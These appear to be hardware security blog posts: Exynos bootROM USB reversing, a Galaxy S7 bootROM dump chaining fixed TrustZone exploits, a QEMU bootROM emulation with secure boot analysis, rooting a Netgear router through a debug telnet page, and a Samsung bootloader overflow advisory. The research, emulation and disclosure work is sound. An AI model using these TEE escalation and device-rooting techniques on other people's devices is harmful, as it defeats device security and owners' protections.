    params.param1 = lower_32_bits(dwc->ep0_trb_addr);

    dwc3_send_gadget_ep_cmd(dwc, dep->number, DWC3_DEPCMD_STARTTRANSFER, &params);
[...]
}

First, trb structure is filled using buffer address and its size provided in function parameters. Then, DWC3_DEPCMD_STARTTRANSFER command is issued to USB controller with TRB pointer and endpoint number as arguments.

Back to bootROM code, identifying where TRBs are set is an important step towards our goal. It can lead us to buffers (corresponding to buf_dma here) used for data transfers. Among them, we're especially interested in those used for endpoint 2 (BULK OUT), because they are read back by the code we're ultimately interested in : vendor-specific protocol handlers.

Again, we rely on hardware register accesses performed by dwc3_send_gadget_ep_cmd to locate bootROM functions that can send command DWC3_DEPCMD_STARTTRANSFER.

Send USB command

In Linux driver, the function to send USB commands dwc3_send_gadget_ep_cmd is the only one to access registers DWC3_DEPCMDPAR0, DWC3_DEPCMDPAR1, DWC3_DEPCMDPAR2, DWC3_DEPCMD. And so it is with bootROM. By comparing both, we can deduce the bootROM function prototype :

int usb_send_command (unsigned char endpointNumber, DWC3_DEPCMD_e command, unsigned int param0, unsigned int param1);

Here's the list of commands defined in Linux driver code :

/* Device Endpoint Command Register */
#define DWC3_DEPCMD_DEPSTARTCFG     (0x09 << 0)
#define DWC3_DEPCMD_ENDTRANSFER     (0x08 << 0)
#define DWC3_DEPCMD_UPDATETRANSFER  (0x07 << 0)
#define DWC3_DEPCMD_STARTTRANSFER   (0x06 << 0)
#define DWC3_DEPCMD_CLEARSTALL      (0x05 << 0)
#define DWC3_DEPCMD_SETSTALL        (0x04 << 0)
#define DWC3_DEPCMD_GETSEQNUMBER    (0x03 << 0)
#define DWC3_DEPCMD_GETEPSTATE      (0x03 << 0)
#define DWC3_DEPCMD_SETTRANSFRESOURCE   (0x02 << 0)
#define DWC3_DEPCMD_SETEPCONFIG     (0x01 << 0)

From there, we can explore all incoming function calls to usb_send_command and use the command argument as hint to ease the reversing.

As explained in previous section, we're especially interested in finding calls with command argument DWC3_DEPCMD_STARTTRANSFER, because they setup the TRB for a specific endpoint. In case of endpoint 2 (BULK OUT), the TRB contains the buffer address where data received from USB host will be written to.

With these last bits, we now have enough information to move on to the next level, our initial goal.

Protocol level

In previous sections, we collected the following information :

interface configuration : USB interface class bInterfaceClass is vendor-specific (0xff)
endpoint configuration : endpoint 2 (BULK OUT) is expected to receive data.
TRB setup for transfer buffer : we know where received data is stored.
endpoint handlers : we identified the handler function for each endpoint.

The vendor-specific interface class indicates that endpoint handler implements a proprietary protocol. Fortunately, a very simple protocol designed to download a bootloader from USB host.

The bootloader is encapsulated in a small structure dldata_s, and sent through USB bulk transfers of 512 bytes. Maximum data size is 321536 bytes.

struct dldata_s {
    u_int32_t unknown0;
    u_int32_t size;// header(8) + data(n) + footer(2)
    u_int8_t  data[n];
    u_int16_t unknown1;//footer
};

Conclusion

Despite the lack of documentation for the USB controller, we extracted enough technical information from Linux kernel drivers to reverse engineer USB stack implemented in Exynos bootROM. We concluded that this stack implements a single, proprietary interface to download a bootloader from USB host.

As a side note, the bootROM code we analyzed doesn't implement any mitigation technique. Probably because, at such early boot stage, performance is critical, MMU is disabled, and entropy is hard.

exynos8890-bootrom-dump : dump Exynos 8890 bootROM from Samsung Galaxy S7

2020-06-15T00:00:00-07:00

This post introduces a tool to dump Samsung Galaxy S7 bootROM using known and fixed security vulnerabilities in Trustzone.

The source code is available on GitHub.

Procedure

We use a Galaxy S7 phone, with ADB access and root privileges.

BootROM code is at address 0x0, in Secure world. The TEE (Trusted Execution Environment) running on this target is Trustonic Kinibi.

The approach is to escalate from Android to a Trusted driver and read secure memory at address 0x0.

We reuse fixed security bugs that are publicly documented. Two exploits are required, one to exploit a Trusted Application from Android, then a second to exploit a Trusted Driver. Both are simple stack overflow bugs. In both cases, return address is overwritten to redirect code execution to a ROP chain.

Trusted application exploitation

This part has been described by David Berard (p0ly) in very well-written article from Synacktiv. His work provides a very valuable starting point: an exploit for a Trusted Application with an example ROP chain.

We port the original exploit to our target (G930F), and then change the ROP chain. This new ROP chain calls the vulnerable Trusted Driver to deliver the second exploit.

Trusted driver exploitation

The second bug has been disclosed in a great talk from Quarkslab at BlackHat 2019. It is a trivial stack overflow due to memcpy operation, so exploiting it from the first ROP chain is straightforward.

The ROP chain we execute in the context of the Trusted Driver does the following operations :

map physical address of bootROM
map shared (secure & non-secure) buffer we initially allocated on Android side
copy mapped bootROM to shared buffer

Finally, bootROM code is accessible to our Android executable.

Resources

This work has been possible thanks to the following previous research :

Emulating Exynos 4210 BootROM in QEMU

2018-03-07T00:00:00-08:00

QEMU has support for the SMDKC210 machine, an ARM board based on Exynos 4210 SoC. Peripherals implemented in QEMU for this machine are UART, SDHCI, FIMD, I2C, Interrupt Combiner, GIC, Clock, PMU, RNG, MCT, PWM, RTC.

Samsung Galaxy S2 phone is also based on Exynos 4210, so it should be relatively easy to emulate its BootROM in QEMU.

This article describes how to extract BootROM (and associated fuses) from Galaxy S2 phone, implement additional required peripherals in QEMU (like the hardware cryptographic engine), and debug inevitable issues. Source code has been published on GitHub. We'll also take advantage of the dynamic debugging capability offered by QEMU to have a quick look at secure boot implementation.

Documentation

Samsung has released a (partial) datasheet. It includes the following memory map :

Another significant ressource is the U-Boot source code for development boards (like ODROID X) based on same processor. It contains interesting technical information on hardware peripherals (like addresses, registers, values).

Finally, hacker community has contributed a lot over the past years.

Dump all the things

First of all, we have to extract the BootROM we want to emulate from the Exynos 4210 SoC. We will also extract fuses data and first bootloader (from flash memory) as they are required to complete execution of BootROM.

We use a Galaxy S2 phone, with ADB access and root privileges thanks to CVE-2013-6282 exploit.

Dump bootloader

The bootloader stored on flash memory is loaded, authenticated (eventually), and executed by BootROM. Accessible through the mmcblk0boot0 device file, we dump it using builtin dd command :

# dd if=/dev/block/mmcblk0boot0 of=./mmc_boot.img seek=1 bs=512
1024+0 records in
1024+0 records out
524288 bytes transferred in 0.091 secs (5761406 bytes/sec)

We generate an entropy graph of dumped data using binwalk tool :

The first part with high entropy (almost E=1) is the encrypted FWBL1 image, the next stage to execute after BootROM.

Dump BootROM

Memory map indicates that BootROM, also called iROM, is mapped at address 0x0000_0000. On this device, stock Android kernel is compiled with /dev/mem support, so we can directly use the simple viewmem tool to dump BootROM (yeah, chipset from 2011).

# ./viewmem 0x00000000 0x10000 > ./bootrom.bin       
[INFO] Reading 65536 bytes at 0x0...

Dump fuses

Fuses a.k.a. One-Time Programmable (OTP) memory usually contain important information for security, like boot settings, cryptographic keys or hashes. According to datasheet, fuses are in the SECKEY area at address 0x10100000.

However in this case, viewmem tool fails to read data directly. The cause of this issue is explained in another research for a similar processor. We learn that accessing SECKEY requires to enable the specific hardware clock CLK_SECKEY (bit 12 of CLK_GATE_IP_PERIR register).

The solution is to build a modified kernel to enable that clock at boot.

Samsung has released the kernel source code, however initramfs is missing to generate a fully fonctional kernel image. So we dump the original kernel partition (like we did for bootloader partition) and extract initramfs archive. We can then append extracted initramfs to our custom kernel by setting CONFIG_INITRAMFS_DIRECTORY option in kernel configuration.

We apply the following kernel patch to enable CLK_SECKEY clock at boot :

--- a/arch/arm/mach-exynos/clock-exynos4.c  2013-02-21 05:23:03.000000000 -0800
+++ b/arch/arm/mach-exynos/clock-exynos4.c  2018-02-25 00:11:03.817693249 -0800
@@ -1352,11 +1352,11 @@

 static struct clk exynos4_init_clocks[] = {
    {
-#ifndef CONFIG_CPU_EXYNOS4210
        .name       = "seckey",
        .enable     = exynos4_clk_ip_perir_ctrl,
        .ctrlbit    = (1 << 12),
    }, {
+#ifndef CONFIG_CPU_EXYNOS4210
        .name       = "tzpc",
        .devname    = "exnos4-tzpc.5",
        .enable     = exynos4_clk_ip_perir_ctrl,
@@ -2386,6 +2386,17 @@

    for (ptr = 0; ptr < ARRAY_SIZE(exynos4_clksrcs); ptr++)
        s3c_set_clksrc(&exynos4_clksrcs[ptr], true);
+
+   printk(KERN_INFO "%s: Looking for seckey clock...\n", __func__);
+   for (ptr = 0; ptr < ARRAY_SIZE(exynos4_init_clocks); ptr++) {
+       if (exynos4_init_clocks[ptr].name == NULL)
+           break;
+
+       if (strcmp("seckey", exynos4_init_clocks[ptr].name) == 0) {
+           printk(KERN_INFO "%s: Enabling seckey clock\n", __func__);
+           clk_enable(&exynos4_init_clocks[ptr]);
+       }
+   }
 }

 static struct clk *exynos4_clks[] __initdata = {

After flashing and booting this custom kernel on Galasy S2 device, we can dump fuses data with viewmem tool, like we did for BootROM :

# ./viewmem 0x10100000 0x100 > ./fuses.bin           
[INFO] Reading 256 bytes at 0x10100000...

Debugging

We have the BootROM, fuses data, and the first bootloader from flash memory. However, we should not expect it to run properly on the first try.

The following QEMU features were used to debug issues and develop new QEMU peripherals :

Trace events : output debug log when specific instructions are hit.
GDB stub : attach your favorite debugger i.e. GDB or IDA.
Monitor console : interact with QEMU while guest is running, for example to enable specific trace events.

Most issues are related to peripherals and will cause QEMU to hang (e.g. infinite loop due to polling of non-implemented hardware register).

QEMU changes

Despite the number of peripherals implemented for this SoC, some are still missing to complete execution of BootROM with success. Following sections describe the main changes made in QEMU source tree for this project. New peripherals are heavily based on existing ones in upstream QEMU project.

Add BootROM loading support

For this machine, QEMU is supposed to run U-Boot bootloader or Linux kernel directly. By default, only a small & minimal bootloader is loaded in secondary CPUs, which is not relevant for this project.

In order to load BootROM in memory before starting the machine, we take advantage of the existing BIOS loading feature in QEMU.

With this change, BootROM image file can now be loaded in memory thanks to -bios parameter. It will be executed directly when emulated machine is reset.

One-Time Programmable (OTP) memory emulation

One-Time Programmable (OTP) memory is a MMIO peripheral used to store device-specific data. Read operations can be performed with simple load instructions, but write operations (or fusing) are usually more complex.

For this project, OTP peripheral is implemented as a simple read-only memory, initialized with fuses data dumped from Galaxy S2 device. Write operations are not supported.

When BootROM is executed, QEMU debug log provides detailed information on OTP data accessed.

First OTP access is a read operation on area 0x18-0x2C. Based on static analysis, BootROM checks these fuses are provisioned (not null) :

  [exynos4210_otp_read:66]   Read OTP @0x18 (0x4)
  [exynos4210_otp_read:66]   Read OTP @0x1c (0x4)
  [exynos4210_otp_read:66]   Read OTP @0x20 (0x4)
  [exynos4210_otp_read:66]   Read OTP @0x24 (0x4)
  [exynos4210_otp_read:66]   Read OTP @0x28 (0x4)

Same area 0x18-0x2C (20 bytes) is read a second time to derive HMAC-SHA1 key (to authenticate next bootloader) :

  [exynos4210_otp_read:66]   Read OTP @0x18 (0x1)
  [exynos4210_otp_read:66]   Read OTP @0x19 (0x1)
[...]
  [exynos4210_otp_read:66]   Read OTP @0x2a (0x1)
  [exynos4210_otp_read:66]   Read OTP @0x2b (0x1)

The area is read a third time, but only first 16 bytes, to derive AES-CBC-128 key (to decrypt next bootloader) :

  [exynos4210_otp_read:66]   Read OTP @0x18 (0x1)
  [exynos4210_otp_read:66]   Read OTP @0x19 (0x1)
[...]
  [exynos4210_otp_read:66]   Read OTP @0x26 (0x1)
  [exynos4210_otp_read:66]   Read OTP @0x27 (0x1)

Advanced Crypto Engine (ACE) emulation

Advanced Crypto Engine (ACE) peripheral performs hardware-accelerated cryptographic operations. ACE interface, composed of many Special Function Registers (SFR), is way more complex than the OTP one. Fortunately, these SFR are documented in U-Boot source code.

Again, our implementation is limited to features actually used by BootROM : only AES-CBC-128 operations are supported.

When BootROM is executed, QEMU debug log details how ACE peripheral is used :

Set AES key, IV, and other parameters (ACE_AES_CONTROL register) :

  [exynos4210_ace_write:338]   ACE_AES_CONTROL <0x0200> <- 0x0e8b
  [exynos4210_ace_write:338]   ACE_AES_KEY5 <0x0290> <- 0xebc4ad63
  [exynos4210_ace_write:338]   ACE_AES_KEY6 <0x0294> <- 0x27239f1a
  [exynos4210_ace_write:338]   ACE_AES_KEY7 <0x0298> <- 0x230ce305
  [exynos4210_ace_write:338]   ACE_AES_KEY8 <0x029c> <- 0xcaad75d2
  [exynos4210_ace_write:338]   ACE_AES_IV1 <0x0230> <- 0xee1c2939
  [exynos4210_ace_write:338]   ACE_AES_IV2 <0x0234> <- 0x6be93160
  [exynos4210_ace_write:338]   ACE_AES_IV3 <0x0238> <- 0xd8bbf993
  [exynos4210_ace_write:338]   ACE_AES_IV4 <0x023c> <- 0x29b98fe8
  [exynos4210_ace_read:315]   ACE_FC_INTPEND [0x000c] -> 0x0000
  [exynos4210_ace_FCINTPEND:227]   QEMU ACE: FCINTPEND triggered

Set input & output buffer addresses (0x2021410), set buffer size (0x1bf0), and poll decryption process status (ACE_FC_INTPEND register):

  [exynos4210_ace_write:338]   ACE_FC_BRDMAS <0x0020> <- 0x2021410
  [exynos4210_ace_write:338]   ACE_FC_BTDMAS <0x0030> <- 0x2021410
  [exynos4210_ace_write:338]   ACE_FC_BTDMAL <0x0034> <- 0x1bf0
  [exynos4210_ace_write:338]   ACE_FC_BRDMAL <0x0024> <- 0x1bf0
  [exynos4210_ace_read:315]   ACE_FC_INTPEND [0x000c] -> 0x0000
  [exynos4210_ace_FCINTPEND:227]   QEMU ACE: FCINTPEND triggered
  [exynos4210_ace_FCINTPEND:235]   QEMU ACE: AES_control=0xe8b, FCBRDMAS=0x2021410, FCBRDMAS=0x1bf0, FCBRDMAS=0x2021410, FCBRDMAS=0x1bf0
  [exynos4210_ace_write:338]   ACE_FC_INTPEND <0x000c> <- 0x0004

The log shows that 0x1bf0 bytes of data at address 0x2021410 are decrypted (ACE_AES_CONTROL[0] bit) using AES-CBC mode (ACE_AES_CONTROL[2:1] bits).

Minor fixes in SD/MMC Host controller

SD controller emulation is already fully supported by QEMU, however few minor differences causes BootROM to hang.

First issue occurs when BootROM sends initialization command ACMD41 (SD_APP_OP_COND) multiple times. QEMU SD-card emulator only replies to the first attempt. Our patch ensures that SD-card always replies, even when SD-card state is already ready.

Second issue is the lack of support for SD Clock Enable register in Clock Control Register. The patch implements it like defined in the original contribution.

Thanks to these changes, BootROM can perform SD operations. QEMU debug log shows that 0x2000 bytes are read at offset 0x200 :

SD: sd_blk_read: addr = 0x00000200, len = 512
SD: sd_blk_read: addr = 0x00000400, len = 512
SD: sd_blk_read: addr = 0x00000600, len = 512
SD: sd_blk_read: addr = 0x00000800, len = 512
SD: sd_blk_read: addr = 0x00000a00, len = 512
SD: sd_blk_read: addr = 0x00000c00, len = 512
SD: sd_blk_read: addr = 0x00000e00, len = 512
SD: sd_blk_read: addr = 0x00001000, len = 512
SD: sd_blk_read: addr = 0x00001200, len = 512
SD: sd_blk_read: addr = 0x00001400, len = 512
SD: sd_blk_read: addr = 0x00001600, len = 512
SD: sd_blk_read: addr = 0x00001800, len = 512
SD: sd_blk_read: addr = 0x00001a00, len = 512
SD: sd_blk_read: addr = 0x00001c00, len = 512
SD: sd_blk_read: addr = 0x00001e00, len = 512
SD: sd_blk_read: addr = 0x00002000, len = 512

These read operations match with encrypted FWBL1 image in bootloader partition previously dumped.

Executing BootROM in QEMU

We compile our modified QEMU and run :

$ qemu-system-arm -machine smdkc210 -cpu cortex-a9 -s -S -bios ./bootrom.bin  -sd ./mmc_boot.img

-machine : emulated machine
-s : Shorthand for -gdb tcp::1234
-S : Do not start CPU at startup
-bios : BootROM image file
-sd : SD-card image file (equivalent to internal eMMC memory). We specify the path of bootloader dumped previously.

From static analysis, we know that main BootROM function ends by jumping to IRAM at address 0x02021410. We can also notice that AES decryption took place at the same address. We attach GDB and set a breakpoint to this address :

Breakpoint 2, 0x02021410 in ?? ()
(gdb) layout asm
B+> 0x2021410       b      0x2021434
    0x2021414       b      0x2021414
    0x2021418       b      0x2021418
    0x202141c       b      0x202141c
    0x2021420       b      0x2021420
    0x2021424       b      0x2021424
    0x2021428       b      0x2021428
    0x202142c       b      0x202142c
    0x2021430       b      0x2021430
    0x2021434       mrc    15, 0, r0, cr1, cr0, {0}
[...]

GDB breaks at the exception vector table of decrypted FWBL1.

After resuming execution, QEMU debug log shows that FWBL1 reads 0x4000 bytes from flash memory at address 0x2200 :

SD: sd_blk_read: addr = 0x00002200, len = 512
SD: sd_blk_read: addr = 0x00002400, len = 512
[...]
SD: sd_blk_read: addr = 0x00005e00, len = 512
SD: sd_blk_read: addr = 0x00006000, len = 512

But that's another story since BootROM execution is already over.

Secure boot analysis

Secure boot process aims to assert the authenticity of all software components in boot chain. The first component in the chain is called root of trust, and in our case it's the BootROM. It loads, authenticates and decrypts the next component called FWBL1, stored in flash memory.

The footer of FWBL1 contains metadata structures that BootROM parses to perform authentication. Fortunately, these structures are defined in U-Boot source tree :

#define     SB20_MAX_SIGN_LEN       (2048/8)
typedef struct
{
    SB20_RSAPubKey      stage2PubKey;
    int         code_SignedDataLen;
    unsigned char       code_SignedData[SB20_MAX_SIGN_LEN];
    SB20_PubKeyInfo     pubKeyInfo;
    unsigned char       func_ptr_BaseAddr[128];
    unsigned char       reservedData[80];
} SB20_CONTEXT;

Field code_SignedData is the RSA-2048 signature of payload (FWBL1 code).

Then, pubKeyInfo structure contains information required to verify this signature :

#define SB20_HMAC_SHA1_LEN          20
typedef struct
{
    SB20_RSAPubKey      rsaPubKey;
    unsigned char       signedData[SB20_HMAC_SHA1_LEN];
} SB20_PubKeyInfo;

rsaPubKey structure is the RSA public key, composed of modulus N and public exponent E. signedData is a HMAC of this key to ensure it hasn't been modified.

So the authentication scenario of FWBL1 by BootROM is :

verify HMAC of rsaPubKey : signedData == HMAC(Key, rsaPubKey)
verify code_SignedData signature using rsaPubKey

Verifying HMAC value signedData requires the same secret Key that was used to generate it. However, static analysis reveals that Key is not directly stored in device : it's in fact derived at runtime with a XOR operation applied to OTP value OTP_key and the HMAC signedData itself :

Key = signedData ⊕ OTP_key

Since OTP_key is in read-only OTP memory, attacker cannot replace rsaPubKey to forge a new signature, otherwise derivated Key would be different and HMAC verification would fail.

Finally, authenticated payload is decrypted using AES-CBC-128, with same Key as the HMAC one (first 16 bytes only). IV is the SHA1 of rsaPubKey (first 16 bytes).

Conclusion

QEMU is able to run Exynos 4210 BootROM with relatively small code changes (~600 LoC). This project allows to debug BootROM dynamically with GDB. It has been helpful for analyzing secure boot mechanism that loads and authenticates the next stage from flash memory.

Netgear Nighthawk R7800 : add USB camera support to create a security webcam

2017-11-22T00:00:00-08:00

This article explains how to customize Nighthawk X4S firmware to add a security camera feature to this always-online & almost-always-idle device. Alternative firmwares like OpenWRT or LEDE exist, but they don't fully support all stock features yet. So instead this approach is based on modified stock firmware.

Main steps are:

Customize kernel to add USB video support (uvc, v4l2)
Install additional software packages for motion detection
Configure motion detection alerts

#YOLO

There's always a risk of bricking the device if something goes wrong. However, a recovery procedure via TFTP exists.

Software downloads are performed over HTTP, due to client limitation on target side.

Hardware

Neatgear Nighthawk X4S router
random cheap USB webcam (don't buy that one, quality is terrible)

Root that firmware

I first thought that this step would be a pain, but then reminded the device manufacturer name. By grepping 'telnet' in the firmware binary, we discover the existence of a debug page /debug.htm , with telnet option:

Telnet access is protected with the same password as WebUI, and gives a root shell.

Backup all the things

Thanks to telnet access, we backup the original kernel partition on an external USB drive :

$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
 === LOGIN ===============================
  Please enter your password,It's the same
  with DUT login password
 ------------------------------------------
telnet password:JCVD4l1FE
=== IMPORTANT ============================
 Use 'passwd' to set your login password
 this will disable telnet and enable SSH
------------------------------------------


BusyBox v1.4.2 (2017-08-29 13:01:25 CST) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

     MM           NM                    MMMMMMM          M       M
   $MMMMM        MMMMM                MMMMMMMMMMM      MMM     MMM
  MMMMMMMM     MM MMMMM.              MMMMM:MMMMMM:   MMMM   MMMMM
MMMM= MMMMMM  MMM   MMMM       MMMMM   MMMM  MMMMMM   MMMM  MMMMM'
MMMM=  MMMMM MMMM    MM       MMMMM    MMMM    MMMM   MMMMNMMMMM
MMMM=   MMMM  MMMMM          MMMMM     MMMM    MMMM   MMMMMMMM
MMMM=   MMMM   MMMMMM       MMMMM      MMMM    MMMM   MMMMMMMMM
MMMM=   MMMM     MMMMM,    NMMMMMMMM   MMMM    MMMM   MMMMMMMMMMM
MMMM=   MMMM      MMMMMM   MMMMMMMM    MMMM    MMMM   MMMM  MMMMMM
MMMM=   MMMM   MM    MMMM    MMMM      MMMM    MMMM   MMMM    MMMM
MMMM$ ,MMMMM  MMMMM  MMMM    MMM       MMMM   MMMMM   MMMM    MMMM
  MMMMMMM:      MMMMMMM     M         MMMMMMMMMMMM  MMMMMMM MMMMMMM
    MMMMMM       MMMMN     M           MMMMMMMMM      MMMM    MMMM
     MMMM          M                    MMMMMMM        M       M
       M
 ---------------------------------------------------------------
   For those about to rock... (%C, %R)
 ---------------------------------------------------------------
root@R7800:/# cat /proc/mtd | grep kernel
mtd5: 00220000 00020000 "kernel"

root@R7800:/# dd if=/dev/mtdblock5 of=/mnt/sda1/kernel.img
4352+0 records in
4352+0 records out

Kernel

Netgear has released GPL source code for the Linux kernel used in this device. This copy on GitHub integrates few fixes to compile with newer GCC and V4L2 headers, and also the original kernel configuration dumped from live device.

$ git clone https://github.com/frederic/netgear-R7800-GPL.git
$ cd netgear-R7800-GPL/

Build mkimage tool

The mkimage tool is used at the end of kernel building process to create the new kernel image partition for the device.

$ make tools/mkimage/install
 make[1] tools/mkimage/install
 make[2] -C tools/sed compile
 make[2] -C tools/sed install
 make[2] -C tools/mkimage compile
 make[2] -C tools/mkimage install

Add freshly built mkimage binary to our PATH environment:

$ export PATH=$PWD/build_dir/host/u-boot-2012.04.01/tools:$PATH

Build Linux kernel

To build a kernel for this ARM-based device, we need to add a cross-compilation toolchain to our build environment :

$ git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.8
$ export PATH=$PWD/arm-eabi-4.8/bin:$PATH

Then we create a new kernel configuration based on the original one :

$ cd git_home/linux.git/sourcecode/
$ make r7800_defconfig ARCH=arm CROSS_COMPILE=arm-eabi-
$ make menuconfig ARCH=arm CROSS_COMPILE=arm-eabi-

In the kernel configuration menu, we enable the following options to get V4L2 & USB Video support :

Device Drivers --->
-> <*> Multimedia support --->
--> <*> Video For Linux
--> <*> Video capture adapters --->
---> <*> V4L USB devices --->
----> <*> USB Video Class (UVC)
----> <*> GSPCA based webcams

For info, that should correspond to these options :

CONFIG_USB_VIDEO_CLASS=y
CONFIG_USB_GSPCA=y
CONFIG_VIDEO_V4L2_COMMON=y
CONFIG_VIDEO_V4L2=y
CONFIG_V4L_USB_DRIVERS=y

Finally, we build the kernel image :

$ make -j8 uImage ARCH=arm CROSS_COMPILE=arm-eabi-
[...]
  Kernel: arch/arm/boot/Image is ready
  Kernel: arch/arm/boot/zImage is ready
  UIMAGE  arch/arm/boot/uImage
Image Name:   Linux-3.4.103
Created:      Mon Jan 29 23:58:38 2018
Image Type:   ARM Linux Kernel Image (uncompressed)
Data Size:    2210952 Bytes = 2159.13 kB = 2.11 MB
Load Address: 41508000
Entry Point:  41508000
  Image arch/arm/boot/uImage is ready

Output kernel image is arch/arm/boot/uImage

$ file arch/arm/boot/uImage
arch/arm/boot/uImage: u-boot legacy uImage, Linux-3.4.103, Linux/ARM, OS Kernel Image (Not compressed), 2210952 bytes, Tue Jan 30 07:58:38 2018, Load Address: 0x41508000, Entry Point: 0x41508000, Header CRC: 0x81013485, Data CRC: 0xDEA9B00E

In current firmware, kernel partition size is 2228224 bytes. So the new kernel image cannot be larger.

We copy that image to a USB drive and then, from the telnet shell, we overwrite original kernel with the new image :

root@R7800:/# dd if=/mnt/sda1/uImage of=/dev/mtdblock5
root@R7800:/# sync
root@R7800:/# reboot

Note: You have to enable telnet in WebUI after each reboot.

Now the router detects USB camera when plugged in :

usb 3-1: new high-speed USB device number 5 using xhci-hcd
usb 3-1: New USB device found, idVendor=1908, idProduct=2310
usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
usb 3-1: Product: USB2.0 PC CAMERA
usb 3-1: Manufacturer: Generic
usb 3-1: SerialNumber: 20100331010203
INFO008C: Add device intf d39cc400, dev d39a5000
INFO0C15:  filter audio device
uvcvideo: Found UVC 1.00 device USB2.0 PC CAMERA (1908:2310)
input: USB2.0 PC CAMERA as /devices/platform/ipq-dwc3.1/dwc3.1/xhci-hcd.1/usb3/3-1/3-1:1.0/input/input3

Install software packages

"Motion is a program that monitors the video signal from cameras. It is able to detect if a significant part of the picture has changed; in other words, it can detect motion."

Fortunately, this package is available in OpenWrt repositories for our architecture. And stock firmware includes the OpenWrt package manager opkg.

However, opkg is outdated and needs to be patched first :

root@R7800:/# curl -k https://gist.githubusercontent.com/frederic/fcb7ddc14c46aa630143aaeafe2d706f/raw/8242c18a514f19b58c74387d4bfa0e5511bbb4e5/functions.sh -o '/lib/functions.sh'

Then, we can install motion & libjpeg packages :

root@R7800:~# curl -k https://raw.githubusercontent.com/frederic/netgear-R7800-GPL/master/ipk/libjpeg_9a-1_ipq806x.ipk -o /tmp/libjpeg_9a-1_ipq806x.ipk
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 92994  100 92994    0     0   259k      0 --:--:-- --:--:-- --:--:--  430k
root@R7800:~# opkg install /tmp/libjpeg_9a-1_ipq806x.ipk 
Installing libjpeg (9a-1) to root...
Configuring libjpeg.


root@R7800:~# curl -k https://raw.githubusercontent.com/frederic/netgear-R7800-GPL/master/ipk/motion_3.4.0-20141018-9479d910f2149b5558788bb86f97f26522794212-1_ipq806x.ipk -o /tmp/motion_3.4.0-20141018-9479d910f2149b5558788bb86f97f26522794212-1_ipq806x.ipk
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 94802  100 94802    0     0   297k      0 --:--:-- --:--:-- --:--:--  387k
root@R7800:~# opkg install /tmp/motion_3.4.0-20141018-9479d910f2149b5558788bb86f97f26522794212-1_ipq806x.ipk
Installing motion (3.4.0-20141018-9479d910f2149b5558788bb86f97f26522794212-1) to root...
Configuring motion.

Note that motion software expects its default configuration file at different path than the one actually provided. So we move it back to default path :

root@R7800:/# mkdir /etc/motion
root@R7800:/# mv /overlay/etc/motion.conf /etc/motion/motion.conf

Configuration

To enable motion detection only when our smartphone (hence we) is not at home, we call our custom script in Hostapd script /lib/wifi/wps-hostapd-update-uci. It will only be triggered when a station connects or disconnects from the router.

diff --git a/lib/wifi/wps-hostapd-update-uci b/lib/wifi/wps-hostapd-update-uci
index f60abe3..dd6f3f2 100755
--- a/lib/wifi/wps-hostapd-update-uci
+++ b/lib/wifi/wps-hostapd-update-uci
@@ -157,6 +157,9 @@ check_ap_lock_down()
 }

 case "$CMD" in
+        AP-STA-CONNECTED|AP-STA-DISCONNECTED)
+                /etc/motion_cron.sh $CMD $3
+        ;;
        WPS-NEW-AP-SETTINGS|WPS-NEW-AP-SETTINGS-AP-PIN)
                local ssid=$(hostapd_cli -i$IFNAME -p/var/run/hostapd-$parent get_config | grep ^ssid= | cut -f2- -d =)
                local wpa=$(hostapd_cli -i$IFNAME -p/var/run/hostapd-$parent get_config | grep ^wpa= | cut -f2- -d=)

We create the following script in /etc/motion_cron.sh :

#!/bin/sh
# Start or stop motion service depending on wifi client status
# Usage: motion_cron.sh [<event_type> <mac addr>]

HWADDR=00:11:22:33:44:55 # Update with your smartphone MAC address

CONNECTED=0
CMD=motion
CMD_PID=/var/run/$CMD.pid
CMD_BIN=/usr/bin/$CMD
PID=`pidof $CMD`

if [ $# -eq 2 ]; then
 EVENT=$1
 EVENT_MAC=$2
 if [ "$EVENT_MAC" == "$HWADDR" ]; then
  case "$EVENT" in
    AP-STA-DISCONNECTED)
      CONNECTED=0
      ;;
    AP-STA-CONNECTED)
      CONNECTED=1
      ;;
    *)
      echo "Non-interesting event, ignore..."
      exit 0
  esac
  echo "$EVENT $EVENT_MAC"
 else
  echo "Not our MAC, ignore..."
  exit 0
 fi
else
 if grep "0x2\W\+$HWADDR" /proc/net/arp ; then
  echo "$HWADDR is connected in arp table"
  CONNECTED=1
 else
  echo "$HWADDR is disconnected in arp table"
  CONNECTED=0
 fi
fi

if [ $CONNECTED -eq 1 ]; then
 echo "$HWADDR is connected"
 if [ -n "$PID" ]
 then
      echo "$CMD is running, stopping it..."
      start-stop-daemon -K -x $CMD_BIN -p $CMD_PID
 fi
else
 echo "$HWADDR is disconnected"
 if [ -z "$PID" ]
 then
      echo "$CMD is not running, starting it..."
      start-stop-daemon -S -x $CMD_BIN -- -b -p $CMD_PID
 fi
fi

$HWADDR has to be set to MAC address of our smartphone.

As failsafe mechanism, we can also add this script to cron :

echo "  0 *  *   *   *     /etc/motion_cron.sh" >> /etc/crontabs/root

Finally, we edit the file /etc/motion/motion.conf to configure motion. A guide is available on official motion website. In addition of your own settings, I recommend to set the output storage path to an external USB drive :

target_dir /mnt/sda1

SVE-2016-7930: Multiple buffer overflows in Samsung Galaxy bootloader

2017-07-23T00:00:00-07:00

Prequel

On October 21st 2015, mobile forensics company Cellebrite published a video that demonstrates how their solution can dump eMMC of Samsung Galaxy devices :

This video strongly suggests that Samsung Galaxy bootloader can be exploited to execute arbitrary code.

Summary

Several bugs in Samsung Galaxy bootloader allow an attacker with physical access to execute arbitrary code. Protections like OS lock screen and reactivation lock can be defeated.

Download mode (a.k.a. ODIN) doesn't properly sanitize headers of flashed images. This can lead to integer & buffer overflows.

Bugs and exploitation technique are detailed in the paper released at SSTIC 2017 conference.

Proof-of-Concept

PoC code for Samsung Galaxy S5 has been released on GitHub

CVSS Version 3 Metrics

Attack Vector (AV): Physical (P)
Attack Complexity (AC): Low (L)
Privileges Required (PR): None (N)
User Interaction (UI): None (N)
Overall CVSS Score: 6.8

Solution

Samsung has released a fix via OTA.

Disclosure Timeline

2016-12-20 Disclosed to Samsung
2017-03-07 Public disclosure in Samsung Bulletin SMR-MAR-2017
